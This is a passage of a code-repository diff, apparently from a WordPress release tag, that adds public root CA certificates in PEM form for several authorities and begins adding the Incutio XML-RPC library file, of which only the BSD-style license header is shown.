+g7+mvTV+LFwxNG9s2/NkAZiqlCxB3RWGymspThbASfzXg0gTB1GEMVKIu4YXx2sviiCtxQuPcD4q
+uxtxj7mkoP3YldmvWb8lK5jpY5MvYB7Eqvh39YtsL+1+LrVPQA3uvFd359m21D+VJzog1eWuq2w1
+n8GhHVnchIHuTQfiSLaeS5UtQbHh6N5+LwUeaO6/u5BlOsju6rEYNxxik6SgMexxbJHmpHmJWhSn
+FFAFTKQAVzAswbVhltw+HoSvOULP5dAssSS830DD7X9jSr3hTxJkhpXzsOfIt+FTvZLm8wyWuevo
+5pLtp4EJFAv8lXrPj9Y0TzYS3F7RNHXGRoAvlQSMx4bEqCaJqD8Zm4G7UaRKhqsLEQ+xrmNTbSjq
+3TNWOByyrYDT13K9mmyZY+gAu0F2BbdbmRiKw7gSXFbPVgx96OLP7bx0R/vu0xdOIk9W/1DzLuY5
+poLWccret9W6aAjtmcz9opLLabid+Qqkpj5PkygqYWwHJgD/ll9ohri4zspV4KuxPX+Y1zMOWj3Y
+eMLEYC/HYvBhkdI4sPaeVdtAgAUSM84dkpvRabP/v/GSCmE1P93+hvS84Bpxs2Km
+-----END CERTIFICATE-----
+
+China Internet Network Information Center EV Certificates Root
+==============================================================
+-----BEGIN CERTIFICATE-----
+MIID9zCCAt+gAwIBAgIESJ8AATANBgkqhkiG9w0BAQUFADCBijELMAkGA1UEBhMCQ04xMjAwBgNV
+BAoMKUNoaW5hIEludGVybmV0IE5ldHdvcmsgSW5mb3JtYXRpb24gQ2VudGVyMUcwRQYDVQQDDD5D
+aGluYSBJbnRlcm5ldCBOZXR3b3JrIEluZm9ybWF0aW9uIENlbnRlciBFViBDZXJ0aWZpY2F0ZXMg
+Um9vdDAeFw0xMDA4MzEwNzExMjVaFw0zMDA4MzEwNzExMjVaMIGKMQswCQYDVQQGEwJDTjEyMDAG
+A1UECgwpQ2hpbmEgSW50ZXJuZXQgTmV0d29yayBJbmZvcm1hdGlvbiBDZW50ZXIxRzBFBgNVBAMM
+PkNoaW5hIEludGVybmV0IE5ldHdvcmsgSW5mb3JtYXRpb24gQ2VudGVyIEVWIENlcnRpZmljYXRl
+cyBSb290MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAm35z7r07eKpkQ0H1UN+U8i6y
+jUqORlTSIRLIOTJCBumD1Z9S7eVnAztUwYyZmczpwA//DdmEEbK40ctb3B75aDFk4Zv6dOtouSCV
+98YPjUesWgbdYavi7NifFy2cyjw1l1VxzUOFsUcW9SxTgHbP0wBkvUCZ3czY28Sf1hNfQYOL+Q2H
+klY0bBoQCxfVWhyXWIQ8hBouXJE0bhlffxdpxWXvayHG1VA6v2G5BY3vbzQ6sm8UY78WO5upKv23
+KzhmBsUs4qpnHkWnjQRmQvaPK++IIGmPMowUc9orhpFjIpryp9vOiYurXccUwVswah+xt54ugQEC
+7c+WXmPbqOY4twIDAQABo2MwYTAfBgNVHSMEGDAWgBR8cks5x8DbYqVPm6oYNJKiyoOCWTAPBgNV
+HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUfHJLOcfA22KlT5uqGDSSosqD
+glkwDQYJKoZIhvcNAQEFBQADggEBACrDx0M3j92tpLIM7twUbY8opJhJywyA6vPtI2Z1fcXTIWd5
+0XPFtQO3WKwMVC/GVhMPMdoG52U7HW8228gd+f2ABsqjPWYWqJ1MFn3AlUa1UeTiH9fqBk1jjZaM
+7+czV0I664zBechNdn3e9rG3geCg+aF4RhcaVpjwTj2rHO3sOdwHSPdj/gauwqRcalsyiMXHM4Ws
+ZkJHwlgkmeHlPuV1LI5D1l08eB6olYIpUNHRFrrvwb562bTYzB5MRuF3sTGrvSrIzo9uoV1/A3U0
+5K2JRVRevq4opbs/eHnrc7MKDf2+yfdWrPa37S+bISnHOLaVxATywy39FCqQmbkHzJ8=
+-----END CERTIFICATE-----
+
+Swisscom Root CA 2
+==================
+-----BEGIN CERTIFICATE-----
+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
+5OfNeOI5wSsSnqaeG8XmDtkx2Q==
+-----END CERTIFICATE-----
+
+Swisscom Root EV CA 2
+=====================
+-----BEGIN CERTIFICATE-----
+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
+l8PVP3wbI+2ksx0WckNLIOFZfsLorSa/ovc=
+-----END CERTIFICATE-----
+
+CA Disig Root R1
+================
+-----BEGIN CERTIFICATE-----
+MIIFaTCCA1GgAwIBAgIJAMMDmu5QkG4oMA0GCSqGSIb3DQEBBQUAMFIxCzAJBgNVBAYTAlNLMRMw
+EQYDVQQHEwpCcmF0aXNsYXZhMRMwEQYDVQQKEwpEaXNpZyBhLnMuMRkwFwYDVQQDExBDQSBEaXNp
+ZyBSb290IFIxMB4XDTEyMDcxOTA5MDY1NloXDTQyMDcxOTA5MDY1NlowUjELMAkGA1UEBhMCU0sx
+EzARBgNVBAcTCkJyYXRpc2xhdmExEzARBgNVBAoTCkRpc2lnIGEucy4xGTAXBgNVBAMTEENBIERp
+c2lnIFJvb3QgUjEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCqw3j33Jijp1pedxiy
+3QRkD2P9m5YJgNXoqqXinCaUOuiZc4yd39ffg/N4T0Dhf9Kn0uXKE5Pn7cZ3Xza1lK/oOI7bm+V8
+u8yN63Vz4STN5qctGS7Y1oprFOsIYgrY3LMATcMjfF9DCCMyEtztDK3AfQ+lekLZWnDZv6fXARz2
+m6uOt0qGeKAeVjGu74IKgEH3G8muqzIm1Cxr7X1r5OJeIgpFy4QxTaz+29FHuvlglzmxZcfe+5nk
+CiKxLU3lSCZpq+Kq8/v8kiky6bM+TR8noc2OuRf7JT7JbvN32g0S9l3HuzYQ1VTW8+DiR0jm3hTa
+YVKvJrT1cU/J19IG32PK/yHoWQbgCNWEFVP3Q+V8xaCJmGtzxmjOZd69fwX3se72V6FglcXM6pM6
+vpmumwKjrckWtc7dXpl4fho5frLABaTAgqWjR56M6ly2vGfb5ipN0gTco65F97yLnByn1tUD3AjL
+LhbKXEAz6GfDLuemROoRRRw1ZS0eRWEkG4IupZ0zXWX4Qfkuy5Q/H6MMMSRE7cderVC6xkGbrPAX
+ZcD4XW9boAo0PO7X6oifmPmvTiT6l7Jkdtqr9O3jw2Dv1fkCyC2fg69naQanMVXVz0tv/wQFx1is
+XxYb5dKj6zHbHzMVTdDypVP1y+E9Tmgt2BLdqvLmTZtJ5cUoobqwWsagtQIDAQABo0IwQDAPBgNV
+HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUiQq0OJMa5qvum5EY+fU8PjXQ
+04IwDQYJKoZIhvcNAQEFBQADggIBADKL9p1Kyb4U5YysOMo6CdQbzoaz3evUuii+Eq5FLAR0rBNR
+xVgYZk2C2tXck8An4b58n1KeElb21Zyp9HWc+jcSjxyT7Ff+Bw+r1RL3D65hXlaASfX8MPWbTx9B
+LxyE04nH4toCdu0Jz2zBuByDHBb6lM19oMgY0sidbvW9adRtPTXoHqJPYNcHKfyyo6SdbhWSVhlM
+CrDpfNIZTUJG7L399ldb3Zh+pE3McgODWF3vkzpBemOqfDqo9ayk0d2iLbYq/J8BjuIQscTK5Gfb
+VSUZP/3oNn6z4eGBrxEWi1CXYBmCAMBrTXO40RMHPuq2MU/wQppt4hF05ZSsjYSVPCGvxdpHyN85
+YmLLW1AL14FABZyb7bq2ix4Eb5YgOe2kfSnbSM6C3NQCjR0EMVrHS/BsYVLXtFHCgWzN4funodKS
+ds+xDzdYpPJScWc/DIh4gInByLUfkmO+p3qKViwaqKactV2zY9ATIKHrkWzQjX2v3wvkF7mGnjix
+lAxYjOBVqjtjbZqJYLhkKpLGN/R+Q0O3c+gB53+XD9fyexn9GtePyfqFa3qdnom2piiZk4hA9z7N
+UaPK6u95RyG1/jLix8NRb76AdPCkwzryT+lf3xkK8jsTQ6wxpLPn6/wY1gGp8yqPNg7rtLG8t0zJ
+a7+h89n07eLw4+1knj0vllJPgFOL
+-----END CERTIFICATE-----
+
+CA Disig Root R2
+================
+-----BEGIN CERTIFICATE-----
+MIIFaTCCA1GgAwIBAgIJAJK4iNuwisFjMA0GCSqGSIb3DQEBCwUAMFIxCzAJBgNVBAYTAlNLMRMw
+EQYDVQQHEwpCcmF0aXNsYXZhMRMwEQYDVQQKEwpEaXNpZyBhLnMuMRkwFwYDVQQDExBDQSBEaXNp
+ZyBSb290IFIyMB4XDTEyMDcxOTA5MTUzMFoXDTQyMDcxOTA5MTUzMFowUjELMAkGA1UEBhMCU0sx
+EzARBgNVBAcTCkJyYXRpc2xhdmExEzARBgNVBAoTCkRpc2lnIGEucy4xGTAXBgNVBAMTEENBIERp
+c2lnIFJvb3QgUjIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCio8QACdaFXS1tFPbC
+w3OeNcJxVX6B+6tGUODBfEl45qt5WDza/3wcn9iXAng+a0EE6UG9vgMsRfYvZNSrXaNHPWSb6Wia
+xswbP7q+sos0Ai6YVRn8jG+qX9pMzk0DIaPY0jSTVpbLTAwAFjxfGs3Ix2ymrdMxp7zo5eFm1tL7
+A7RBZckQrg4FY8aAamkw/dLukO8NJ9+flXP04SXabBbeQTg06ov80egEFGEtQX6sx3dOy1FU+16S
+GBsEWmjGycT6txOgmLcRK7fWV8x8nhfRyyX+hk4kLlYMeE2eARKmK6cBZW58Yh2EhN/qwGu1pSqV
+g8NTEQxzHQuyRpDRQjrOQG6Vrf/GlK1ul4SOfW+eioANSW1z4nuSHsPzwfPrLgVv2RvPN3YEyLRa
+5Beny912H9AZdugsBbPWnDTYltxhh5EF5EQIM8HauQhl1K6yNg3ruji6DOWbnuuNZt2Zz9aJQfYE
+koopKW1rOhzndX0CcQ7zwOe9yxndnWCywmZgtrEE7snmhrmaZkCo5xHtgUUDi/ZnWejBBhG93c+A
+Ak9lQHhcR1DIm+YfgXvkRKhbhZri3lrVx/k6RGZL5DJUfORsnLMOPReisjQS1n6yqEm70XooQL6i
+Fh/f5DcfEXP7kAplQ6INfPgGAVUzfbANuPT1rqVCV3w2EYx7XsQDnYx5nQIDAQABo0IwQDAPBgNV
+HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUtZn4r7CU9eMg1gqtzk5WpC5u
+Qu0wDQYJKoZIhvcNAQELBQADggIBACYGXnDnZTPIgm7ZnBc6G3pmsgH2eDtpXi/q/075KMOYKmFM
+tCQSin1tERT3nLXK5ryeJ45MGcipvXrA1zYObYVybqjGom32+nNjf7xueQgcnYqfGopTpti72TVV
+sRHFqQOzVju5hJMiXn7B9hJSi+osZ7z+Nkz1uM/Rs0mSO9MpDpkblvdhuDvEK7Z4bLQjb/D907Je
+dR+Zlais9trhxTF7+9FGs9K8Z7RiVLoJ92Owk6Ka+elSLotgEqv89WBW7xBci8QaQtyDW2QOy7W8
+1k/BfDxujRNt+3vrMNDcTa/F1balTFtxyegxvug4BkihGuLq0t4SOVga/4AOgnXmt8kHbA7v/zjx
+mHHEt38OFdAlab0inSvtBfZGR6ztwPDUO+Ls7pZbkBNOHlY667DvlruWIxG68kOGdGSVyCh13x01
+utI3gzhTODY7z2zp+WsO0PsE6E9312UBeIYMej4hYvF/Y3EMyZ9E26gnonW+boE+18DrG5gPcFw0
+sorMwIUY6256s/daoQe/qUKS82Ail+QUoQebTnbAjn39pCXHR+3/H3OszMOl6W8KjptlwlCFtaOg
+UxLMVYdh84GuEEZhvUQhuMI9dM9+JDX6HAcOmz0iyu8xL4ysEr3vQCj8KWefshNPZiTEUxnpHikV
+7+ZtsH8tZ/3zbBt1RqPlShfppNcL
+-----END CERTIFICATE-----
+
+ACCVRAIZ1
+=========
+-----BEGIN CERTIFICATE-----
+MIIH0zCCBbugAwIBAgIIXsO3pkN/pOAwDQYJKoZIhvcNAQEFBQAwQjESMBAGA1UEAwwJQUNDVlJB
+SVoxMRAwDgYDVQQLDAdQS0lBQ0NWMQ0wCwYDVQQKDARBQ0NWMQswCQYDVQQGEwJFUzAeFw0xMTA1
+MDUwOTM3MzdaFw0zMDEyMzEwOTM3MzdaMEIxEjAQBgNVBAMMCUFDQ1ZSQUlaMTEQMA4GA1UECwwH
+UEtJQUNDVjENMAsGA1UECgwEQUNDVjELMAkGA1UEBhMCRVMwggIiMA0GCSqGSIb3DQEBAQUAA4IC
+DwAwggIKAoICAQCbqau/YUqXry+XZpp0X9DZlv3P4uRm7x8fRzPCRKPfmt4ftVTdFXxpNRFvu8gM
+jmoYHtiP2Ra8EEg2XPBjs5BaXCQ316PWywlxufEBcoSwfdtNgM3802/J+Nq2DoLSRYWoG2ioPej0
+RGy9ocLLA76MPhMAhN9KSMDjIgro6TenGEyxCQ0jVn8ETdkXhBilyNpAlHPrzg5XPAOBOp0KoVdD
+aaxXbXmQeOW1tDvYvEyNKKGno6e6Ak4l0Squ7a4DIrhrIA8wKFSVf+DuzgpmndFALW4ir50awQUZ
+0m/A8p/4e7MCQvtQqR0tkw8jq8bBD5L/0KIV9VMJcRz/RROE5iZe+OCIHAr8Fraocwa48GOEAqDG
+WuzndN9wrqODJerWx5eHk6fGioozl2A3ED6XPm4pFdahD9GILBKfb6qkxkLrQaLjlUPTAYVtjrs7
+8yM2x/474KElB0iryYl0/wiPgL/AlmXz7uxLaL2diMMxs0Dx6M/2OLuc5NF/1OVYm3z61PMOm3WR
+5LpSLhl+0fXNWhn8ugb2+1KoS5kE3fj5tItQo05iifCHJPqDQsGH+tUtKSpacXpkatcnYGMN285J
+9Y0fkIkyF/hzQ7jSWpOGYdbhdQrqeWZ2iE9x6wQl1gpaepPluUsXQA+xtrn13k/c4LOsOxFwYIRK
+Q26ZIMApcQrAZQIDAQABo4ICyzCCAscwfQYIKwYBBQUHAQEEcTBvMEwGCCsGAQUFBzAChkBodHRw
+Oi8vd3d3LmFjY3YuZXMvZmlsZWFkbWluL0FyY2hpdm9zL2NlcnRpZmljYWRvcy9yYWl6YWNjdjEu
+Y3J0MB8GCCsGAQUFBzABhhNodHRwOi8vb2NzcC5hY2N2LmVzMB0GA1UdDgQWBBTSh7Tj3zcnk1X2
+VuqB5TbMjB4/vTAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFNKHtOPfNyeTVfZW6oHlNsyM
+Hj+9MIIBcwYDVR0gBIIBajCCAWYwggFiBgRVHSAAMIIBWDCCASIGCCsGAQUFBwICMIIBFB6CARAA
+QQB1AHQAbwByAGkAZABhAGQAIABkAGUAIABDAGUAcgB0AGkAZgBpAGMAYQBjAGkA8wBuACAAUgBh
+AO0AegAgAGQAZQAgAGwAYQAgAEEAQwBDAFYAIAAoAEEAZwBlAG4AYwBpAGEAIABkAGUAIABUAGUA
+YwBuAG8AbABvAGcA7QBhACAAeQAgAEMAZQByAHQAaQBmAGkAYwBhAGMAaQDzAG4AIABFAGwAZQBj
+AHQAcgDzAG4AaQBjAGEALAAgAEMASQBGACAAUQA0ADYAMAAxADEANQA2AEUAKQAuACAAQwBQAFMA
+IABlAG4AIABoAHQAdABwADoALwAvAHcAdwB3AC4AYQBjAGMAdgAuAGUAczAwBggrBgEFBQcCARYk
+aHR0cDovL3d3dy5hY2N2LmVzL2xlZ2lzbGFjaW9uX2MuaHRtMFUGA1UdHwROMEwwSqBIoEaGRGh0
+dHA6Ly93d3cuYWNjdi5lcy9maWxlYWRtaW4vQXJjaGl2b3MvY2VydGlmaWNhZG9zL3JhaXphY2N2
+MV9kZXIuY3JsMA4GA1UdDwEB/wQEAwIBBjAXBgNVHREEEDAOgQxhY2N2QGFjY3YuZXMwDQYJKoZI
+hvcNAQEFBQADggIBAJcxAp/n/UNnSEQU5CmH7UwoZtCPNdpNYbdKl02125DgBS4OxnnQ8pdpD70E
+R9m+27Up2pvZrqmZ1dM8MJP1jaGo/AaNRPTKFpV8M9xii6g3+CfYCS0b78gUJyCpZET/LtZ1qmxN
+YEAZSUNUY9rizLpm5U9EelvZaoErQNV/+QEnWCzI7UiRfD+mAM/EKXMRNt6GGT6d7hmKG9Ww7Y49
+nCrADdg9ZuM8Db3VlFzi4qc1GwQA9j9ajepDvV+JHanBsMyZ4k0ACtrJJ1vnE5Bc5PUzolVt3OAJ
+TS+xJlsndQAJxGJ3KQhfnlmstn6tn1QwIgPBHnFk/vk4CpYY3QIUrCPLBhwepH2NDd4nQeit2hW3
+sCPdK6jT2iWH7ehVRE2I9DZ+hJp4rPcOVkkO1jMl1oRQQmwgEh0q1b688nCBpHBgvgW1m54ERL5h
+I6zppSSMEYCUWqKiuUnSwdzRp+0xESyeGabu4VXhwOrPDYTkF7eifKXeVSUG7szAh1xA2syVP1Xg
+Nce4hL60Xc16gwFy7ofmXx2utYXGJt/mwZrpHgJHnyqobalbz+xFd3+YJ5oyXSrjhO7FmGYvliAd
+3djDJ9ew+f7Zfc3Qn48LFFhRny+Lwzgt3uiP1o2HpPVWQxaZLPSkVrQ0uGE3ycJYgBugl6H8WY3p
+EfbRD0tVNEYqi4Y7
+-----END CERTIFICATE-----
+
+TWCA Global Root CA
+===================
+-----BEGIN CERTIFICATE-----
+MIIFQTCCAymgAwIBAgICDL4wDQYJKoZIhvcNAQELBQAwUTELMAkGA1UEBhMCVFcxEjAQBgNVBAoT
+CVRBSVdBTi1DQTEQMA4GA1UECxMHUm9vdCBDQTEcMBoGA1UEAxMTVFdDQSBHbG9iYWwgUm9vdCBD
+QTAeFw0xMjA2MjcwNjI4MzNaFw0zMDEyMzExNTU5NTlaMFExCzAJBgNVBAYTAlRXMRIwEAYDVQQK
+EwlUQUlXQU4tQ0ExEDAOBgNVBAsTB1Jvb3QgQ0ExHDAaBgNVBAMTE1RXQ0EgR2xvYmFsIFJvb3Qg
+Q0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCwBdvI64zEbooh745NnHEKH1Jw7W2C
+nJfF10xORUnLQEK1EjRsGcJ0pDFfhQKX7EMzClPSnIyOt7h52yvVavKOZsTuKwEHktSz0ALfUPZV
+r2YOy+BHYC8rMjk1Ujoog/h7FsYYuGLWRyWRzvAZEk2tY/XTP3VfKfChMBwqoJimFb3u/Rk28OKR
+Q4/6ytYQJ0lM793B8YVwm8rqqFpD/G2Gb3PpN0Wp8DbHzIh1HrtsBv+baz4X7GGqcXzGHaL3SekV
+tTzWoWH1EfcFbx39Eb7QMAfCKbAJTibc46KokWofwpFFiFzlmLhxpRUZyXx1EcxwdE8tmx2RRP1W
+KKD+u4ZqyPpcC1jcxkt2yKsi2XMPpfRaAok/T54igu6idFMqPVMnaR1sjjIsZAAmY2E2TqNGtz99
+sy2sbZCilaLOz9qC5wc0GZbpuCGqKX6mOL6OKUohZnkfs8O1CWfe1tQHRvMq2uYiN2DLgbYPoA/p
+yJV/v1WRBXrPPRXAb94JlAGD1zQbzECl8LibZ9WYkTunhHiVJqRaCPgrdLQABDzfuBSO6N+pjWxn
+kjMdwLfS7JLIvgm/LCkFbwJrnu+8vyq8W8BQj0FwcYeyTbcEqYSjMq+u7msXi7Kx/mzhkIyIqJdI
+zshNy/MGz19qCkKxHh53L46g5pIOBvwFItIm4TFRfTLcDwIDAQABoyMwITAOBgNVHQ8BAf8EBAMC
+AQYwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAgEAXzSBdu+WHdXltdkCY4QWwa6g
+cFGn90xHNcgL1yg9iXHZqjNB6hQbbCEAwGxCGX6faVsgQt+i0trEfJdLjbDorMjupWkEmQqSpqsn
+LhpNgb+E1HAerUf+/UqdM+DyucRFCCEK2mlpc3INvjT+lIutwx4116KD7+U4x6WFH6vPNOw/KP4M
+8VeGTslV9xzU2KV9Bnpv1d8Q34FOIWWxtuEXeZVFBs5fzNxGiWNoRI2T9GRwoD2dKAXDOXC4Ynsg
+/eTb6QihuJ49CcdP+yz4k3ZB3lLg4VfSnQO8d57+nile98FRYB/e2guyLXW3Q0iT5/Z5xoRdgFlg
+lPx4mI88k1HtQJAH32RjJMtOcQWh15QaiDLxInQirqWm2BJpTGCjAu4r7NRjkgtevi92a6O2JryP
+A9gK8kxkRr05YuWW6zRjESjMlfGt7+/cgFhI6Uu46mWs6fyAtbXIRfmswZ/ZuepiiI7E8UuDEq3m
+i4TWnsLrgxifarsbJGAzcMzs9zLzXNl5fe+epP7JI8Mk7hWSsT2RTyaGvWZzJBPqpK5jwa19hAM8
+EHiGG3njxPPyBJUgriOCxLM6AGK/5jYk4Ve6xx6QddVfP5VhK8E7zeWzaGHQRiapIVJpLesux+t3
+zqY6tQMzT3bR51xUAV3LePTJDL/PEo4XLSNolOer/qmyKwbQBM0=
+-----END CERTIFICATE-----
Index: /tags/4.1.6/src/wp-includes/class-IXR.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-IXR.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-IXR.php	(revision 33402)
@@ -0,0 +1,1107 @@
+<?php
+/**
+ * IXR - The Incutio XML-RPC Library
+ *
+ * Copyright (c) 2010, Incutio Ltd.
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ *  - Redistributions of source code must retain the above copyright notice,
+ *    this list of conditions and the following disclaimer.
+ *  - Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *  - Neither the name of Incutio Ltd. nor the names of its contributors
+ *    may be used to endorse or promote products derived from this software
+ *    without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
+ * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
+ * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
